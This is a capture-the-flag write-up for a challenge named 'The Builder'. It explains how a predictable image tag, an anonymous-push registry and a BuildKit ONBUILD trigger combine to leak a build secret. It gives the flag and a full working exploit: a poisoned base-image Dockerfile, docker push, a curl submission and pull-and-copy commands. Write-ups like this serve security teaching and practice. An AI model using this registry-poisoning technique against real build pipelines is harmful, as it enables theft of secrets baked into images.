The Builder
The page tag is `sha256(content)[:12]`, so it is predictable, and the registry accepts anonymous pushes → smuggle in `ONBUILD COPY --from=theme /flag.txt`
NNS{wH0_th0U6h7_that_7His_tRigger_W45_4_6o0D_1dea??_wel1_aNYW4ys_y0u_diD_i7} FLAG: NNS{wH0_th0U6h7_that_7His_tRigger_W45_4_6o0D_1dea??_wel1_aNYW4ys_y0u_diD_i7}
(76 bytes, no trailing newline; read straight out of the image layer so the
leet chars are exact - wel1 is l+one, 1dea is a digit one)
The bug: ONBUILD trigger smuggled in via the page build-context image
The fixed server-side Dockerfile bakes the secret into the theme stage’s layer:
FROM debian:trixie-slim AS theme
RUN --mount=type=secret,id=flag \
cp /run/secrets/flag /flag.txt \
&& printf '%s' 'body{...}' > /theme.css
FROM page0 AS content0
FROM cgr.dev/chainguard/nginx:latest AS site
COPY --from=theme /theme.css /usr/share/nginx/html/theme.css
COPY --from=content0 /page /usr/share/nginx/html/{location}
page0 is a BuildKit named build context wired to
--build-context page0=docker-image://127.0.0.1:5000/pages:<tag>, so
our page image is used as a BASE IMAGE (FROM page0 AS content0).
Base-image ONBUILD triggers are executed by BuildKit in the child stage,
and they resolve --from= against the stages of the CURRENT Dockerfile -
where theme (with /flag.txt) is defined just above. So an image whose
config carries
ONBUILD COPY --from=theme /flag.txt /page
turns content0’s /page into the flag, and the fixed
COPY --from=content0 /page /usr/share/nginx/html/{location} line then
copies it into the published sites/<id> image for us to pull.
The two facts that make it exploitable
- Page tag is
sha256(content)[:12]- fully predictable. Verified:sha256("PAGEV1")[:12] == d3d25aae1a7b, matching the127.0.0.1:5000/pages:d3d25aae1a7bshown on the build page. - The registry is unauthenticated AND the server skips its own push when
the content-addressed tag already exists. So pushing our image to
pages:<sha256(content)[:12]>FIRST wins - the server does not overwrite it (verified: tag digest stayedsha256:3864d150...after submitting).
Exploit (reproducible)
# 1. malicious page image
printf 'PLACEHOLDER' > page
cat > Dockerfile <<'D'
FROM scratch
COPY page /page
ONBUILD COPY --from=theme /flag.txt /page
D
TAG=$(python3 -c "import hashlib;print(hashlib.sha256(b'PWN1').hexdigest()[:12])")
REG=the-builder-registry-<id>.chall.nnsc.tf:443
docker build --platform linux/amd64 --provenance=false --sbom=false -t $REG/pages:$TAG .
docker push $REG/pages:$TAG
# 2. submit a build whose content hashes to that same tag
curl -s -X POST https://the-builder-<id>.chall.nnsc.tf/api/builds \
-d 'location=flag.html' -d 'content=PWN1'
# 3. build log confirms it: "#11 [content0 1/2] ONBUILD COPY --from=theme /flag.txt /page"
docker pull $REG/sites/<build-id>:latest
CID=$(docker create $REG/sites/<build-id>:latest)
docker cp $CID:/usr/share/nginx/html/flag.html - | tar -xO
Notes: build with --provenance=false --sbom=false so you push a plain
single-platform manifest (the default buildx output is a manifest list with
an attestation manifest, which is not what FROM page0 wants).
Why the earlier three passes missed it
All of them treated location/content as the only inputs and looked for
Dockerfile-text injection, registry blob tricks, or a --target override.
The actual input is the image config of the page image - reachable only
because the tag is predictable and the registry accepts anonymous pushes,
which both passes had noted separately but never combined.